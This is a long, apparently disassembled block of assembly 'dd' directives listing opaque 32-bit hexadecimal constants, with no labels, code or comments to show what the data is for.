		dd 0FC3CA94h, 13697A24h, 0A8E1E480h, 2500A010h,	0BCD0BA54h
		dd 38D9D169h, 1C4C9ADAh, 6E01CB05h, 0D0228048h,	0DF19E9CAh
		dd 0E5581AB1h, 2E553C30h, 7242A6Fh, 0A02EBD12h,	0FCD14EA0h
		dd 5C3590Fh, 0B926600Eh, 1F39D8F6h, 0FD59BEAh, 0C5E0A42Fh
		dd 31BB18Bh, 486D6600h,	52CB7163h, 67A303F5h, 82377BAFh
		dd 319892D8h, 0C73EB500h
		dd 3C769BA8h, 209F013Ah, 737D0E3Dh, 0BD2CD0B7h,	9535C303h
		dd 805E04B5h, 2149E7h, 8F395B96h, 0BEB60F85h, 0FC1D9200h
		dd 54A65E86h, 0D8D0472h, 8AD45105h, 2DDC0074h, 52EB6446h
		dd 6F9407ABh, 0C99C714Ah, 45B69A00h, 2005159h, 6D535292h
		dd 2B0247Ch, 0FDDA65Ch,	0FE608D67h, 41075F83h, 896CEF9Fh
		dd 8688BF50h, 8CA11D26h, 0DE9CC0CAh, 71BA032Ah,	70591724h
		dd 847CD400h, 0FAB1CCA7h, 0F5D2007Dh, 700E7E65h, 0F2006396h
		dd 0A423728Dh, 0B16756h, 9F923BFDh, 0EC431F36h,	0F4B4FE51h
		dd 0B20E99F2h, 258B137Bh, 0A403EBBBh, 0C85A64DAh, 9EFCC8h
		dd 6552E135h, 0EB07BB80h, 3A00D078h, 0EEBA4A2Eh, 0FED2ADA1h
		dd 6B2B00CDh, 0AB88A3B4h, 0B0009E01h, 0A50EAA76h, 0BB4A61h
		dd 55290D30h, 799C8BBEh, 38A3F80Eh, 0A69DE195h,	0E5D8D736h
		dd 0DC91717h, 0E10D00B5h, 7FDD8C96h, 99B1AE01h,	0EE65C74Eh
		dd 2C61CADCh, 8E1CFh, 0FF0280AAh, 1302307Ch, 0C3C4C4Ah
		dd 0F7A880A4h, 479A2B9h, 0C6BD9199h, 0ABECC0E0h, 857296AFh
		dd 0A8F8D707h, 8CA1E3D1h, 0B840A02Bh, 0E4B32353h, 0DCF00085h
		dd 3E889695h, 6802BA0Bh, 282D39C7h, 0AB44608Bh,	757700E9h
		dd 0BA3C9FE4h, 1700B659h, 0A56C490Dh, 0F45F9D6h, 28AFC8E6h
		dd 1C67A7h, 0EF49C783h,	0DC81AA00h, 13F2E61Eh, 0BF8E005Eh
		dd 85B5334Fh, 0B3005164h, 5DDCC2CAh, 0EB520A27h, 11FF473h
		dd 82EAC0EFh, 0E0FD42E5h, 0D16A318h, 3FED2690h,	0C71E8974h
		dd 0C120468Dh, 0D901A0AFh, 0D209B6E4h, 54281087h, 2F522B00h
		dd 0D7F0864Eh, 2DAF70FDh, 8D07F47Bh, 0DC67B0DAh, 48A66EF1h
		dd 1B337F0h, 0F9BF1F79h, 0F844038Dh, 30039AEEh,	88C25F9Dh
		dd 0AD6CB825h, 8499009Ch, 0FB2BBFB0h, 3200BBC7h, 2F4FDDE7h
		dd 9AD355h, 8FEB9C82h, 58C71F5Eh, 6C001B7Eh, 0A98E8337h
		dd 50DEB1h, 541757C2h, 0D09472C8h, 0FC007C7Eh, 1EB7CEA0h
		dd 0C40988h, 6723D38Ah,	5155F510h, 64963A00h, 7A5A02ABh
		dd 5E3800B0h, 0F51383A9h, 82009B5Ch, 42C434FCh,	0FFFE269h
		dd 2329D64Ch, 0CDF304E0h, 4F13578Bh, 0B0000B8Fh, 322E3EE8h
		dd 67A91676h, 0B72802B0h, 0B860F4F6h, 3B00E787h, 894616DBh
		dd 125AF25Eh, 848218h, 0EA5440A4h, 0E400D4C6h, 127F2172h
		dd 12518548h, 0C1174466h, 0F534E000h, 4F0C20B8h, 42E44B00h
		dd 1AB57E55h, 0E67401F5h, 62766E88h, 2CC9FC66h,	9D25800h
		dd 48E2930Eh, 0F5E8A2C8h, 0CFA52CE0h, 0DA241000h, 0DEFFB54Fh
		dd 640728B9h, 560A02BCh, 93A42690h, 0E0A768E8h,	60389B00h
		dd 35A00F6Ch, 3C1A1C2Bh, 3F2EC0F4h, 0EBDB136Fh,	6C3B8E00h
		dd 1FC94AA8h, 0EC0C01D0h, 7325D7CDh, 22F1E48Ah,	964FB60Eh
		dd 0C2479EE2h, 67D0E7DBh, 0E674F757h, 1E201818h, 0EF4FA8CAh
		dd 8A82FB00h, 0EA7CAA94h, 5461C16Ch, 0FD53EE47h, 380C2072h
		dd 0C970B098h, 5A7C3503h, 0C0A11C49h, 0FE41F321h, 0A46E05FFh
		dd 2593DAFh, 144DFEA6h,	0E01E6C46h, 69408643h, 0A694709Dh
		dd 955F1DEBh, 5B2680F0h, 2355D044h, 0EE87CC00h,	0FBD596FEh
		dd 0FF191F36h, 8B74C315h, 0C08DB45Ch, 0E4122312h, 8092092Dh
		dd 394258C0h, 5CB97B44h, 0A11E9C56h, 7C2C40FAh,	8558E748h
		dd 69E6C700h, 57BAAA5Ch, 0E5881331h, 0EB7C01FEh, 0C809B1F2h
		dd 5C00CF74h, 621CE6EDh, 0FA633E0h, 0B0E49DA9h,	0A12BEB20h
		dd 4A7203F6h, 0B475D200h, 51A9E294h, 722E0054h,	1143E710h
		dd 280C5B09h, 0A0D769B8h, 0BA1902F0h, 555376FEh, 8A0D0040h
		dd 0D05CE21Eh, 0C39B2787h, 28FAF801h, 33FBFF40h, 0F6620411h
		dd 0C01B997Ah, 1F313E8Ch, 0D8286000h, 68B3872Fh, 48CDF079h
		dd 984091C5h, 0BC5F3BFAh, 0D1045E00h, 1AA07663h, 0B82CBE28h
		dd 14646100h, 0BD330205h, 936500E1h, 5DA17CB6h,	29006926h
		dd 84B3D56Ah, 168F0C5h,	0B9B7F2B1h, 81E7AE61h, 1F65719Ah
		dd 3360694Fh, 98D207DBh, 30803B78h, 4C81B1EDh, 7E20A600h
		dd 3CCF8782h, 0BB073EE8h, 2879A007h, 6D8A6146h,	953E8ECh
		dd 0CA8E8600h, 920EE390h, 0FAC70705h, 80AF522Fh, 5751759Eh
		dd 66778400h, 0BB88C3D9h, 0E0F800D1h, 0EC4ADE2Bh, 992CC711h
		dd 31000090h, 0A6625E96h, 21F50097h, 36221BE8h,	2C05B8EBh
		dd 2EC4D881h, 0BB5AE000h, 72F1751h, 0C9B26525h,	0CC39B5EFh
		dd 557B7A28h, 0ABB0CA0Bh, 3440BCFh, 0C8B10E9Ah,	903D9079h
		dd 92542CF4h, 0C07A8004h, 0A803625Fh, 0C8E249h,	2106BE87h
		dd 0D2328Dh, 3EDAD08h, 982CD91Dh, 0BCE41401h, 0C51CE53h
		dd 0C1336F0h, 5870A560h, 1F77AC10h, 1C224D0Eh, 0D96D612Ah
		dd 782435DBh, 0D2C1F80Dh, 7E3D03F9h, 699841E3h,	73079828h
		dd 0BDA92902h, 96188FA0h, 8BEA0103h, 5C80A5FBh,	631070E2h
		dd 0B284Ch, 0A99A4A9h, 71139Dh,	56FF7A62h, 0CE7E34Dh, 9EEC31Ch
		dd 6B453280h, 738DF3AAh, 0D3FB0087h, 0D6502A4Fh, 0E3005E7Fh
		dd 7606C36Dh, 5ACEEF2h,	0D028547Bh, 0C064D72Ah,	4EE3F06Eh
		dd 0F3004CFAh, 5C6FC485h, 3AD21Bh, 10E49C4Bh, 0E6B51D9Fh
		dd 1118FE71h, 4F09AE77h, 781E0934h, 3480C5F8h, 0DE1965A9h
		dd 1D0D3D00h, 9C94CCD5h, 4D32002Dh, 2F13408Ah, 460025ADh
		dd 7670C23Dh, 0D2E7A6h,	5977941Ch, 0A05B7550h, 1F24024Ch
		dd 11A0D1B8h, 26BAABh, 152E2CD8h, 40E27Ch, 9816D3E5h, 79B7F466h
		dd 9FC98A3Fh, 0F540EC25h, 0E2999390h, 0D36E0001h, 4F9C0EE0h
		dd 1C01D18Ch, 95DD828Ah, 9FF7518Dh, 73333170h, 0FC2700F5h
		dd 0C517EFA5h, 0FF001308h, 18C229A9h, 24F22BD6h, 4F660Ch
		dd 5EA3D837h, 43002FBEh, 55F9BC4Fh, 65495BFh, 0B374E28Ch
		dd 6613C083h, 3438BD89h, 5D993B12h, 0A7540603h,	70C3F8CCh
		dd 132965D0h, 5AA5F403h, 0C06C5FAEh, 0FDF1Dh, 4D1B2A24h
		dd 0B33A9280h, 5C5B5318h, 3473520h, 79AB9CCEh, 9BA3F06Dh
		dd 80FB483Fh, 54D26231h, 4FD53C2h, 4287EF9h, 0A494C14Fh
		dd 0C00A2AB9h, 7328D896h, 0BE758C00h, 78461583h, 0C6900711h
		dd 0D00F12B6h, 0B8707966h, 8297711Fh, 7DC1511Fh, 2D0D1507h
		dd 0C081EBDBh, 9B5DCCh,	7771E0E8h, 0C4F1C524h, 0D9B0A373h
		dd 0C9E14C00h, 0DFBDB73Bh, 3E736Dh, 0E8B1AE82h,	3F0976D9h
		dd 3D298703h, 3A229Bh, 804FD038h, 0A13C0F6Ah, 0A81C7100h
		dd 5708E705h, 0A2A50010h, 9440F018h, 0BF67AFBh,	0EDA30D03h
		dd 0B04BFDA7h, 7EB55Fh,	7616F00Ah, 7006EBCBh, 0D757F8C3h
		dd 1DF3987Ah, 61810033h, 890D6494h, 5800192Bh, 5AC1ABA2h
		dd 605F4h, 63D5CD28h, 507FC2A6h, 0D42CE200h, 7908E5BDh
		dd 34810B9Ah, 0B801E1BAh, 0C6445476h, 0CA047CF2h, 0B3D323F6h
		dd 0D64B1080h, 58213AE9h, 1DA31680h, 32373F45h,	43652300h
		dd 0E12F7BF1h, 38D40068h, 2C471815h, 3605511Dh,	2A06BD5Fh
		dd 0DC875CC0h, 68650012h, 0D0B5EC62h, 9C07FFA4h, 0CFF59EC3h
		dd 51C0D395h, 0E3AB232h, 44BEDCE7h, 0F869483h, 0E15963A9h
		dd 872880D8h, 0D44C0217h, 2CA63016h, 6C82A060h,	22B0ABECh
		dd 5D9F7618h, 4CB918h, 0CF3EDFE3h, 0E1E46108h, 19338201h
		dd 4E161848h, 984F37E4h, 0D8FB4C65h, 6800EE38h,	293F19DCh
		dd 2E77CA17h, 8E03E278h, 38432BC0h, 655A980Dh, 53EF0036h
		dd 4A02CAE5h, 3C005C98h, 0C674913Bh, 8439A7h, 6DFFFB4h
		dd 1A0242E6h, 649EEB01h, 189791C5h, 0EAF49D4h, 88591258h
		dd 6760F4AFh, 7D3961CDh, 63E95207h, 5AE07C5Ch, 250F337h
		dd 0C9FE57E6h, 6452979Fh, 0DEC20E03h, 80AE1F02h, 3E4421FFh
		dd 3981406Fh, 0CE7B2531h, 0D836C526h, 8C00C9D9h, 488011A8h
		dd 0E54A48Bh, 0FCB1EA3Fh, 0E5A9F480h, 0B0264EFBh, 0B3070CCDh
		dd 1460D09Bh, 25B835A1h, 0B80078CEh, 0C9238CD2h, 0CDD87001h
		dd 77137F8Dh, 76496D0h,	0FE5D3757h, 0F9D501B2h,	55C8EB36h
		dd 10243A2Dh, 6A023CE3h, 0E84EC930h, 59226DF4h,	0EC054C9Bh
		dd 1D5EF2D8h, 4DCB85E0h, 66B000FBh, 0C66D7D78h,	6807C200h
		dd 677ECA13h, 69380E89h, 9B27A3BCh, 2E0870DFh, 52028A4Fh
		dd 29D4B3A9h, 4C604864h, 74DB00B0h, 51D1FDF6h, 2E07EF9Bh
		dd 72463091h, 0F0543C40h, 713F001Eh, 2299B1AFh,	961C4EBCh
		dd 0DE807C57h, 0A5E408D0h, 0FF72D3h, 0F67F2F07h, 0C05546D4h
		dd 5699C00h, 84F54C36h,	0CFC60938h, 6C801FECh, 55124074h
		dd 148AF800h, 0D53A296Bh, 8DAF0004h, 1FF02F50h,	4B4B2ABh
		dd 0C5F6003Eh, 90FEF28Ah, 0A1DB00DFh, 0A9354F09h, 340040A2h
		dd 281B3DD6h, 7C209248h, 0EA9D1E5Eh, 0A3D633h, 0C3FF3037h
		dd 73265F37h, 0B0001CF2h, 8A324D2Dh, 0E01E2C16h, 4A7F0FB0h
		dd 84435EA9h, 263E1BB8h, 6930CE26h, 0CC404D00h,	0EE684B9h
		dd 96FF33A1h, 23572AA0h, 0F43DF643h, 971A80AEh,	4FA1E79Ah
		dd 0BA0E007Ch, 44829188h, 1900631Bh, 0DDB2F310h, 543C1290h
		dd 279A01Ch, 6078B1BFh,	88E49D91h, 0B70033E6h, 0B008F757h
		dd 58BA22DDh, 6000B141h, 66CCA5A7h, 8701B5A3h, 6CEB7FA8h
		dd 0E1C06328h, 4C610012h, 0FB6B8907h, 0A4016F33h, 10C45724h
		dd 0A4307770h, 0F23C1FD1h, 0A76100C3h, 35CC3DAAh, 834B9A1Ch
		dd 0B3BC6740h, 0E4728BFh, 5D5955ECh, 0F7A0CA40h, 94C07AC4h
		dd 1CF9B21Bh, 0A64B0375h, 3FE9E761h, 8F990DB8h,	905F5300h
		dd 0C83BEEACh, 0AFDA1C68h, 0EBC70191h, 6CBD8101h, 0D8980060h
		dd 1707A5ACh, 0ABBE0020h, 0E66FC7D6h, 2400F1A4h, 0A6F36A3Dh
		dd 0F27EAD82h, 236B2EFEh, 47DD01CBh, 0C0CF20DAh, 97FC3413h
		dd 5C74EE38h, 762200E2h, 29ECF2B7h, 34EF00A1h, 0C18BA816h
		dd 0FE001E1Ah, 407897B4h, 3AEC28h, 73DA34DEh, 6DD2999Bh
		dd 8EEE800h, 0BE4AB9A3h, 0F2E23831h, 3CC81C00h,	537C19C1h
		dd 270DC318h, 0D41D74h,	0DD1CC28Ah, 749866E6h, 0C426E100h
		dd 0A19C37A9h, 0D776027Bh, 0CB50ADEBh, 0CC0B2861h, 0DDEE2ED1h
		dd 0B3FD3C00h, 8098E3C6h, 9BB2008Ch, 2B76DE46h,	303E724Ch
		dd 177D8040h, 31C5A23Fh, 2D95004Dh, 0D9548A49h,	8E00586Dh
		dd 0C9B9C2Bh, 95AC2F52h, 0A628E090h, 4ECC9A07h,	0D7D714B7h
		dd 0F8732752h, 972100CCh, 0A6527A9Fh, 0F700F9EBh, 4C2F7089h
		dd 2E993FD3h, 58886B49h, 9D1F4278h, 6F00BBBCh, 0EFF50B2Fh
		dd 1B8E0107h, 0D87F12CBh, 13E8C74Fh, 4648BBC4h,	39981674h
		dd 0E3C06C20h, 498B189Ah, 0DDB8883Fh, 1700FB98h, 9F65ACB6h
		dd 1814CCFh, 0D9A2949Ah, 0E0B75BF3h, 0EB009BCDh, 4223CE41h
		dd 0E1680Fh, 0A4673533h, 294A8F7Bh, 7AF99202h, 404F30F5h
		dd 9D9AC13h, 1615D11Ch,	0E4674C00h, 4D072705h, 1E2C368Fh
		dd 39AF1260h, 56A600B4h, 3F0E15F6h, 7B096D0Dh, 80DDE2E3h
		dd 0B604C390h, 0FA13008Dh, 526E8721h, 3F011CB8h, 2B127718h
		dd 8428625Ah, 8BB2BB00h, 0C3B4EC09h, 5FA32D00h,	0C9EA3C8Fh
		dd 0F14B184Ah, 0AB0520D8h, 0D60C8000h, 8E4D3D4Fh, 676E1C0Fh
		dd 9C38C035h, 17AAF05h,	99D55E00h, 0DF220C97h, 0F045505Bh
		dd 2240069h, 0D8FA3D7Fh, 93269E56h, 0B83C0A9h, 0CD159545h
		dd 2454A8E3h, 2E8A7814h, 2BCED0Bh, 0CAF8D1D4h, 6485E4E0h
		dd 0E8DE5200h, 5680D0C9h, 3BF2013Eh, 4793B398h,	6E8730F9h
		dd 629092Ch, 3A7DDC00h,	0CABED1h, 0A8A1E207h, 145EF906h
		dd 0BA584900h, 4B7D377Eh, 6F9E0012h, 819476C9h,	25906664h
		dd 62313A02h, 50C8E6C3h, 989878h, 1B93CBFFh, 4387DBA4h
		dd 8049B138h, 88992895h, 0E6C163h, 0FB0780D4h, 395A9FB0h
		dd 80BE183Bh, 9E305F59h, 0BCEBAEh, 2CB75D97h, 0B892D079h
		dd 9F5A307h, 0CDB038E6h, 0B1C276h, 0D1A4AF27h, 68E2EA31h
		dd 3804939h, 9B630CF5h,	0C4101E72h, 2FF100B8h, 0BB75F828h
		dd 0A00B3C28h, 0C0417F07h, 0F457CBDAh, 1042D6h,	6EDC67CEh
		dd 87D09701h, 0DDF8E800h, 998FEB81h, 4EF000DBh,	1EEA8388h
		dd 0BBF46838h, 7DBF6301h, 5B788271h, 0A391D0h, 87A98EE6h
		dd 75E27783h, 0F56DB900h, 2E822A7Ch, 8F460096h,	0DAF3E59Eh
		dd 0E91E646Ah, 3406FAEh, 0A194595Fh, 42E81C74h,	0ACFC40EFh
		dd 820118CDh, 26956400h, 0E57CCBC1h, 57230060h,	6B1D8AC7h
		dd 0F51629D5h, 0FC0026E3h, 437E99AAh, 7DB7076Dh, 0E064553Eh
		dd 667A6A11h, 699FC507h, 92106F71h, 795D988h, 0D02336D3h
		dd 45783082h, 0DD7A0AE3h, 0D1D42028h, 2D088900h, 62E6FD06h
		dd 2288003Bh, 2EC29A7Eh, 9091130h, 0F92BEDEh, 646E0AAh
		dd 28990F5Fh, 3F702A4h,	407B9D20h, 0B7E8D351h, 49004A5Ch
		dd 74DE9334h, 7768659Ch, 844438A4h, 0C8F7DF00h,	0E10698Bh
		dd 0E627FF00h, 0E74D9858h, 0D263006Bh, 0E424DD31h, 0D900C34Ah
		dd 0B206D5BFh, 395D38A6h, 0F2AA08h, 49C68BE3h, 0FCF3C25Fh
		dd 4E125907h, 91803DE5h, 8347A1h, 90B19D2Dh, 0B06C86F6h
		dd 4B993E00h, 0C97C8E0Ch, 603B00A6h, 178D0198h,	0DD004A7Dh
		dd 0B3B5FF73h, 0F0BC4C14h, 35B7840h, 907D09E7h,	0A90351B7h
		dd 1A92728Ch, 0BD3DA027h, 0D4780CF2h, 0D0211E9Fh, 90043400h
		dd 3C5E727Ah, 0B3440064h, 9FCC4CEDh, 970F3A3Dh,	0CFB7079Ch
		dd 0AB8E80EEh, 0F4D2F5h, 3A170286h, 96EA095Eh, 0A072A7Bh
		dd 582C3CD3h, 0A8005D4h, 3F98B71Ah, 0BFBFCF95h,	549F6483h
		dd 0F5993109h, 0C012C4E8h, 0A8274905h, 4C40ABD7h, 5A9A7C08h
		dd 9C5E0079h, 8DED8758h, 8558A59Fh, 234A1EA7h, 0AB040FC4h
		dd 508BAEC0h, 0BB1D006Fh, 9111845Bh, 3F01A2F0h,	2E418E28h
		dd 0C0FB6E9Dh, 60732Fh,	0B56D27C8h, 85C214E8h, 9911A21Fh
		dd 40AB6680h, 3C3DBDFDh, 6D38B4CEh, 0FBAC54h, 0D0837FD7h
		dd 0B130784Fh, 35A84001h, 32B44B26h, 0F06D68D4h, 71DF031Dh
		dd 918DFE27h, 0FADD87F0h, 0E9D89A60h, 0FE475326h, 3557792h
		dd 0E8240977h, 20073665h, 0BC46673Bh, 88A8BE10h, 0C08F7BDAh
		dd 0E2903F88h, 749DD59h, 0BC4D0B04h, 8F8941h, 0F6A8C71Ah
		dd 7FA00D2h, 0D94CC05Fh, 28DE08B0h, 9F3DEE40h, 3F859C3Ah
		dd 8E36201h, 9803C0B3h,	549908BDh, 0C0A8E3F7h, 0E7272Dh
		dd 4038DE75h, 0D7482C03h, 292E9C06h, 600436h, 229E0B7Dh
		dd 6E75CAA1h, 0A794D000h, 64F91FA8h, 5AF25Dh, 9EB4335Ch
		dd 481E0688h, 53839000h, 6C12513Ah, 9A6600CEh, 0F5C53174h
		dd 0E200CB17h, 0DE8A1086h, 0F2BB553Fh, 0F77000B6h, 9AA179DCh
		dd 187F1C53h, 62A88000h, 5FA98B68h, 32772439h, 79C50052h
		dd 0DCAAD720h, 0DA3C900h, 25DFDE60h, 0BCAB000Ch, 7D461BA7h
		dd 0D600C79Bh, 0EB8B9DBAh, 63BF76h, 61D4A55Ah, 0CCA88A52h
		dd 1BE8C5B8h, 37E31818h, 2F4579h, 8A353ADFh, 0EF388FC8h
		dd 21D2500h, 0D74B3674h, 0B6C600D8h, 83FDEE76h,	0CA3C01CEh
		dd 0C91C000Ah, 0FCAC8AE4h, 4450143h, 0F4D67B4Eh, 847C60F8h
		dd 7E395774h, 0BF950F9Bh, 11C01CBEh, 8E0AEAC9h,	1A351D78h
		dd 0D3D900ECh, 0A1BAC75Bh
		dd 0A5CCA00Ch, 0C6B0A97Bh, 0E88CF16Ch, 0E40037F0h, 31D71CA0h
		dd 428335h, 55524C22h, 29E15D9Fh, 54A26201h, 85E7EE14h
		dd 7C83620h, 69B4A422h,	0B1FEC063h, 0CA3EB6D6h,	0C986002Bh
		dd 0E5CB0412h, 634F0054h, 7F4779E2h, 4674D239h,	720B2D8h
		dd 6D020096h, 0D05C9703h, 4600C63Ch, 0C082745Ah, 3DFC9CFh
		dd 472BCBB8h, 9FF82102h, 41D3F2A4h, 0FA0A2400h,	1880FF59h
		dd 807F48Fh, 80C0C6C8h,	4F09649Ah, 326A003Bh, 1924D9AAh
		dd 0C00D303h, 8E029BCBh, 0C465F4h, 0B6813FFFh, 0AA86291Fh
		dd 0CB2328C0h, 3B6512C5h, 20603E14h, 45D050C7h,	0F9E7580h
		dd 0E655611Bh, 6EA35D20h, 6C00F374h, 11338EAh, 32C5C8h
		dd 0B769FB99h, 94B51C4Dh, 301F853Ah, 500F61DEh,	98E6A9h
		dd 37AA96AEh, 90B8CDCAh, 0C70373ECh, 0C87AF119h, 23180B0h
		dd 0C35E171Ah, 6172033Fh, 0B7F73D85h, 3EA430ECh, 0BD009FFAh
		dd 0EFD525B8h, 7375027h, 0A10ABA24h, 824F17DFh,	49599BCh
		dd 41C73CE0h, 0F4F85Ah,	775EAA3h, 45A0E69Bh, 260A7D00h
		dd 3F77B5B9h, 0ACF71CD7h, 0C6728E15h, 595A2858h, 0D7D3C00h
		dd 611DA3B7h, 0F049EC86h, 0FF44FE4Dh, 0B422D8h,	3C405C9h
		dd 74E18B65h, 0E4ABD300h, 6B34C5BEh, 162A3E6Dh,	0AD899680h
		dd 0A8DEE6EDh, 0A6C12C01h, 4217E9F9h, 0FE708420h, 0DF7601B1h
		dd 20B2CEEAh, 0E969C09Ah, 7BAEB805h, 7DC0FADBh,	258C42Bh
		dd 0D91F6376h, 0DF60C03Fh, 4C169EDCh, 0F70759FEh, 7723AE30h
		dd 5C6BA8C1h, 0AF7AE2h,	5420762Ah, 6697CEA0h, 82B57201h
		dd 8175A68h, 9FE11C4h, 375B5D2Ch, 50360C00h, 430C7CF2h
		dd 0F4A2A7E0h, 2A14004Ch, 351761F0h, 0D5B82B60h, 0E53A1879h
		dd 0D50D00D2h, 49F4FAABh, 9A0C009Fh, 54A92ECCh,	670FF23Ah
		dd 230405Ah, 800F3F81h,	41796486h, 1593008Fh, 6A9CECFEh
		dd 591D0E2Ch, 3000129Bh, 0F81FAE58h, 0D1030065h, 0CC1CC062h
		dd 0C049D86h, 0F781244Bh, 16975880h, 8BBC00B0h,	221D830Dh
		dd 8C7B5849h, 9DBBF900h, 0D3E1140Fh, 395E00E4h,	38495397h
		dd 0CC0592DFh, 0FBCFE994h, 0E6F6F980h, 63DB1EAEh, 0C00940B5h
		dd 1CA7D1D3h, 78C11407h, 9B7134AAh, 53F8C5FCh, 3D3A00A6h
		dd 7749EE2Fh, 0F004674h, 0F973FA95h, 0CB94CAh, 168BB8AFh
		dd 712F5DB3h, 8BA4073Eh, 80407DF4h, 0D6430356h,	0C9FC0033h
		dd 2A7772AFh, 7B1DA480h, 0E5C026CCh, 29CAF0DDh,	6AF700EBh
		dd 0C77E3515h, 4507A5E2h, 0A4285A9h, 27C96BE0h,	8C7F0733h
		dd 5144F17Eh, 0F94CB95Bh, 568E4A7h, 0C80E0600h,	44F251D2h
		dd 66F40147h, 70AF9D02h, 9E27DCBCh, 0DC00DA72h,	48FA1591h
		dd 84C728h, 195513A8h, 258D8810h, 99BE3306h, 48CD7Fh, 9C4D1C22h
		dd 546EAFD7h, 0D6746A00h, 0C519823Fh, 17E100DDh, 0FE0D53F1h
		dd 0D00001B8h, 5B7DB35Fh, 9BA0D2h, 947865B0h, 8575F570h
		dd 0B6BEED00h, 6932BCE5h, 0C4170ECCh, 63A03EBBh, 836D14C5h
		dd 0D5389D00h, 111698C8h, 20B56089h, 19FE369Eh,	9F039A7Eh
		dd 51D38B5Ch, 0E4F6B816h, 0FF1F69Dh, 0F8AFF937h, 0D74FA320h
		dd 99001834h, 9E61961Dh, 0CBA1D4h, 6C439047h, 0A60709A4h
		dd 0F8B18200h, 4F100541h, 0BBF0ABh, 0CF4A3466h,	9FDBA745h
		dd 179239h, 2236ED88h, 37327BEFh, 0A0C06C0Dh, 0B378DA0Fh
		dd 0D8F3D900h, 0DC87EC60h, 16B2F406h, 7C83B0Ch,	0AE485315h
		dd 13935FC1h, 94AFF0C3h, 1C00D890h, 0A11E1FE4h,	0EE1B24h
		dd 8299E1C5h, 0E8BEA28Dh, 0BCD99C00h, 0EF6A93D2h, 607E11h
		dd 0B5627E72h, 10E4215Ch, 99838C00h, 0AADDA0ADh, 11150007h
		dd 1CC17DF0h, 0FC00A1A5h, 8D8EB5CDh, 3AC378Ah, 0E151E347h
		dd 86D856BDh, 77005D17h, 25D7EAC7h, 0D95E42h, 0AFE96E1Bh
		dd 82712A8Ch, 0B20BA20Bh, 0FFEA005Dh, 2F1EBCh, 0D7ED0C72h
		dd 6AA6E32Dh, 546DAD00h, 858918DDh, 0FC930069h,	81826E91h
		dd 0F5002CC4h, 8086F9B4h, 795D48Bh, 9D601218h, 134310A1h
		dd 7F740174h, 0DCB16807h, 82402881h, 0B87083h, 752AAC91h
		dd 933187A7h, 0C0611900h, 0D25292D1h, 0D60E0079h, 1B0AE9DFh
		dd 0FF1C064Dh, 1940362Fh, 9C14CB5Ch, 0ACE2B8h, 0C28F9F45h
		dd 0EB8E2E1Bh, 803A883Ch, 355BB62Dh, 0C0A0C3h, 425634Bh
		dd 0C1E5E88Eh, 9E87CF00h, 40E957D5h, 0CCE70018h, 0A62E6EDCh
		dd 1C3F84B8h, 3E7B0412h, 0A980407Fh, 0F761797Eh, 0C635E0h
		dd 34E3C7EDh, 5C89A36h,	0DCDBBF07h, 0C4D09858h,	0D4E30h
		dd 531E6C73h, 9CA71566h, 79CE9700h, 13777EFh, 9E183C44h
		dd 3A437F07h, 1D15E008h, 9700C136h, 4FEDD7CDh, 0AAF226h
		dd 997A908Ch, 0FD2A9AD0h, 7295EF07h, 213065B9h,	0BE5A6Dh
		dd 48095E73h, 0A437A16Ch, 0C01F6600h, 8D683693h, 583512F6h
		dd 261C40CEh, 24F87DFBh, 2A84A300h, 82EA5B34h, 0F4913BB3h
		dd 0A8F62100h, 0ABAEA9FFh, 0D4C8D24h, 7DEF2E07h, 90D1D703h
		dd 324DDEh, 245A3555h, 0E35EEAF6h, 0BD903B00h, 77B95983h
		dd 4B331FDAh, 67210079h, 34F3C091h, 0C200B6E4h,	0C5D16519h
		dd 269AF217h, 1EBDEE28h, 83C14077h, 4662E3F3h, 715A4000h
		dd 1382890Ah, 4B1B9860h, 1830ACC7h, 0BD96DFB6h,	10A80A79h
		dd 0F8B88Fh, 0ADA03D6Fh, 9500219Dh, 2BD7E3CBh, 3ADF7Ch
		dd 8BC1AE3Fh, 46A068F1h, 7438C607h, 4E00EA03h, 5C416031h
		dd 0A9077EFBh, 80917380h, 711396BEh, 54745800h,	5D152BD4h
		dd 38B71F29h, 0BF874FD1h, 0EB523400h, 85502325h, 0CC00F8D5h
		dd 0E31164BBh, 7B56B13h, 7C959232h, 0AE7FB00Dh,	0B21D5DEBh
		dd 284E0C6Ch, 0C9DB00D8h, 26D968h, 0E0FA357Bh, 385F6BFBh
		dd 0AB190A03h, 0E0EBC4A6h, 5026F3EEh, 3867883Dh, 800BD22Bh
		dd 8880BF39h, 0DBD437A3h, 9C595700h, 45499675h,	9F210553h
		dd 80836B2Bh, 1CA54CDAh, 0C409A1Ch, 0FB360A00h,	9C2FE0h
		dd 17CD7090h, 4822E112h, 341EED75h, 3A013D25h, 0D041943Bh
		dd 0C1602080h, 744F28A9h, 84BBBC0Fh, 0A705E06Bh, 0EF59434Dh
		dd 7BFCA831h, 0D56400D2h, 0CBCDD348h, 0D0008D83h, 240C7860h
		dd 1C17294h, 0A7599558h, 60DA28AAh, 0A1005ADAh,	63455C90h
		dd 74033AD4h, 76A1E8Ch,	0DE82009Ah, 90FDF47Ah, 38CC2C30h
		dd 183FC1ADh, 0A1D18BBDh, 44A042B9h, 35001C95h,	3461BB66h
		dd 2A36056Ah, 0A4CD27h,	734F5384h, 0ECB3FB02h, 0E24D212Eh
		dd 6AEAAC00h, 161C8CAh,	8F938B99h, 0CF71A60Dh, 3D690A7h
		dd 0F500F326h, 44EC5666h, 7F8DBBh, 2AB46EDAh, 0D677A670h
		dd 0FAC3C13Eh, 86A1D501h, 6D89C932h, 9A3BD0h, 3025A48Ch
		dd 0DD4BA0CDh, 0EF002C74h, 0A564556Fh, 75609D1h, 211F8158h
		dd 0A73AB0F0h, 8D014E37h, 7A9938E8h, 13ECC5D4h,	8107376Ch
		dd 0C04207F1h, 0C4909596h, 0D6E4A800h, 0DE49B8D7h, 22C2019Bh
		dd 24D3A402h, 34170A6h,	0F675A000h, 8B327EBAh, 823E0E84h
		dd 6D80B34Dh, 0D7FA1ACCh, 6A75EF00h, 0D57BE104h, 0B7330056h
		dd 277E73Eh, 4E3BFD6Ch,	716280BBh, 7044DCA3h, 6D3D0087h
		dd 926C634Fh, 0AE2C591Ah, 310EF786h, 0B5A4400Bh, 0E9A9997h
		dd 71345A9Dh, 3E79B600h, 6A1DB438h, 0D01E357Ch,	0C5C73D01h
		dd 4FC91966h, 0B0289880h, 0A2EDDC96h, 47075100h, 0CC8994DAh
		dd 0DEAF034Bh, 1B29CF0Ch, 34409EF8h, 0BC396564h, 73067180h
		dd 0D55C3E98h, 3CD8480Ch, 0E900BAA8h, 20D6B28Eh, 0A24C881h
		dd 88E5EF55h
